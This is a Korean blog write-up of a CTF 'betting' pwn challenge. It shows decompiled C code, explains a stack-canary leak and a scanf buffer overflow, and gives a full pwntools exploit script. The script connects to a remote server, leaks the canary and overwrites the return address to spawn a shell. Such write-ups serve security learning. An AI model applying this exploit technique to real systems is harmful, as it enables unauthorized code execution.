전형적인 버퍼오버플로우 문제입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax unsigned int v4; // eax unsigned int v6; // [rsp+4h] [rbp-6Ch] int v7; // [rsp+8h] [rbp-68h] unsigned int v8; // [rsp+Ch] [rbp-64h] unsigned int v9; // [rsp+10h] [rbp-60h] int v10; // [rsp+14h] [rbp-5Ch] int v11; // [rsp+18h] [rbp-58h] int v12; // [rsp+1Ch] [rbp-54h] __int64 v13; // [rsp+20h] [rbp-50h] __int64 v14; // [rsp+28h] [rbp-48h] __int64 v15; // [rsp+30h] [rbp-40h] __int64 v16; // [rsp+38h] [rbp-38h] char v17; // [rsp+40h] [rbp-30h] char s; // [rsp+50h] [rbp-20h] unsigned __int64 v19; // [rsp+68h] [rbp-8h] v19 = __readfsqword(0x28u); v8 = 0; v9 = 0; v6 = 0; v10 = 0; v7 = 0; setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); memset(&s, 0, 0x14uLL); printf("What is your name? ", 0LL); read(0, &s, 40uLL); // buf(check canary) printf("How much money would you like to start with? ", &s); __isoc99_scanf("%d", &v7); while ( v10 >= 0 && v7 > 1 ) { printf("Hi, %s", &s); // canary leak printf("you have $%d.\n", (unsigned int)v7); while ( !v6 || (signed int)v6 > v7 ) { printf("How much money do you want to bet? "); __isoc99_scanf("%d", &v6); if ( (signed int)v6 > v7 ) puts("Sorry, you don't have enough money to make that bet."); } v3 = time(0LL); srand(v3); v8 = rand() % 13 + 1; v9 = rand() % 4 + 1; v11 = v8; v13 = rank_string(v8); v14 = suit_string(v9); printf("You draw a %s of %s.\n", v13, v14); puts("Will the next card be higher or lower?"); printf("Enter \"h\" for higher or \"l\" for lower: "); __isoc99_scanf("%s", &v17); // buf!!! v4 = time(0LL); srand(v4); v8 = rand() % 13 + 1; v9 = rand() % 4 + 1; v12 = v8; v15 = rank_string(v8); v16 = suit_string(v9); printf("You draw a %s of %s.\n", v15, v16); if ( v17 == 104 && v11 > v12 || v17 == 108 && v11 < v12 ) { v7 -= v6; printf("LOSE!!! Too bad %s", &s); printf("You lose $%d.\n", v6); goto LABEL_15; } if ( v11 == v12 ) { puts("I'll give you one more chance."); } else { v7 += v6; printf("Win! Congratulations %s", &s); printf("You win $%d!\n", v6); LABEL_15: v6 = 0; } } if ( v10 > 0 ) { printf("You win the game %s! ", &s); } else { printf("Too bad %s", &s); puts("You are out of money! You lose."); } return 0; } | cs |
IDA로 보면 첫번째 read에서 40까지 받기 때문에 canary 첫번째 1byte(\x00) 까지 채워주고 %s를 통해 leak 할 수있습니다.
후에 high, low 를 선택하는데 이때 %s로 입력받기 때문에 buf가 가능해집니다.
helper 라는 함수에 system("/bin/sh") 명령어가 있기에 ret를 이 함수 주소로 덮고 공격하면 될 것같습니다.
[solve]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from pwn import * #s = process("./betting") s = remote('110.10.147.29', 8282) e = ELF("./betting") s.sendlineafter("name? ", 'A'*24) s.sendlineafter("with? ", '2') s.recvuntil('A'*24 + '\n') canary = u64('\x00' + s.recv(7)) print "canary : " + hex(canary) s.sendlineafter("bet? ", '2') payload = '' payload += "A"*40 payload += p64(canary) payload += "B"*8 payload += p64(0x4008F6) s.sendlineafter("lower: ", payload) s.interactive() | cs |
이미 ret를 덮었기 때문에 배팅을 계속 높게 해줘서 지게 만든 후 while문을 탈출하게 되면 쉘이 따집니다 XD
'CTF' 카테고리의 다른 글
[Codegate final 2018] Shall We Dance (0) | 2018.04.06 |
---|---|
[Codegate final 2018] G0Crack (0) | 2018.04.06 |
[Codegate 2017] Goversing (0) | 2018.03.29 |
[angstromctf 2017] Product Key (0) | 2018.03.18 |
[White Hacker League 2017] Medic (0) | 2018.03.09 |